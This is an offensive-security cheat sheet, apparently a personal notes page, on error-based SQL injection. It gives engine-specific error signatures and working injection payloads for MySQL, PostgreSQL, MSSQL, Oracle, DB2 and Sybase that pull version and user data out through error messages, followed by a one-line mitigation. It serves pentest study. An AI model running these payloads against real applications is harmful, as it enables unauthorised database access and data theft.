🧠 SQLi - Error-based

Exploitation

Prerequisites:

  • The application must be vulnerable to SQL injection.
  • The application MUST display verbose database error messages in the HTTP response.
  • Unlike UNION-based, you do not need to match column counts or data types.

Error-based SQLi is highly versatile and can be implemented in almost any context, as long as the query executes:

Attack Vectors

Because error functions are highly specific to the Database Management System (DBMS), payloads vary wildly between database engines.

Step 1: We need to break the syntax to confirm that the raw error messages are reflected (e.g. inject a single ', ", \, ') or ")). The expected messages would be:

  • MySQL: You have an error in your SQL syntax near...
  • MSSQL: Unclosed quotation mark after the character string...
  • PostgreSQL: Query failed: ERROR: syntax error at or near...
  • Java/JDBC: java.sql.SQLException...
  • PHP: Warning: mysql_fetch_array() expects parameter 1 to be resource...
  • Oracle: ORA-01756: quoted string not properly terminated
  • SQLite: near "...": syntax error
  • Microsoft Access: Syntax error in string in query expression...
  • MariaDB: You have an error in your SQL syntax... check the manual that corresponds to your MariaDB server version
  • IBM DB2: SQLCODE=-104, SQLSTATE=42601, DRIVER=...
  • Sybase: SybSQLException: Incorrect syntax near...

If the special characters are somehow filtered, try type casting (aka. using a value that that the system does not expect, e.g. ?id=5abcd) or divide by 0 error (e.g. id=5/0 or id=5/(SELECT 0))

Note: If the database is SQLite then error-based SQLi may not work since the engine does not support Error-based data exfiltration by default, pivot to SQLi - Boolean-based Blind or SQLi - Time-based Blind instead.

Step 2: Inject the engine specific payload to extract information.

-- MySQL / MariaDB (Using XML parsing errors - limited to 32 characters per output)
-- Extracting the database version
AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version)))--
AND UPDATEXML(1, CONCAT(0x7e, (SELECT @@version)), 1)--
 
-- PostgreSQL (Using casting errors - trying to cast a string into an integer)
-- The error will say: "invalid input syntax for integer: 'postgres'"
AND 1=CAST((SELECT current_user) AS int)--
 
-- MSSQL (Microsoft SQL Server) (Using conversion errors)
-- The error will say: "Conversion failed when converting the varchar value 'sa' to data type int."
AND 1=CONVERT(int, (SELECT system_user))--
 
-- Oracle (Using context errors)
AND 1=(SELECT ctxsys.drithsx.sn(1, (SELECT user FROM dual)) FROM dual)--
-- Oracle (XML type conversion error)
AND 1=(SELECT TO_CHAR(XMLType('<?xml version="1.0"?><val>' || (SELECT user FROM dual) || '</val>')) FROM dual)--
-- Oracle (Using casting)
AND 1=CAST((SELECT user FROM dual) AS NUMBER)--
 
-- IBM DB2 (Using casting errors) -- Requires querying the dummy table 'sysibm.sysdummy1' 
AND 1=CAST((SELECT user FROM sysibm.sysdummy1) AS int)--
 
-- Sybase (Using conversion errors) \
AND 1=CONVERT(int, (SELECT user))--
 
-- MySQL >= 5.7.x (Using GTID_SUBSET) 
AND GTID_SUBSET(CONCAT(0x7e, (SELECT @@version), 0x7e), 1)-- 
-- MySQL (Using spatial/geometric functions) 
AND ST_LatFromGeoHash(CONCAT(0x7e, (SELECT @@version)))-- 
AND ST_PointFromGeoHash(CONCAT(0x7e, (SELECT @@version)), 1)--

Note: 0x7e is just the ~ which is just a mark to make sure that the extracted string stands out visually.

Mitigation

Fix: Use Prepared Statements

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC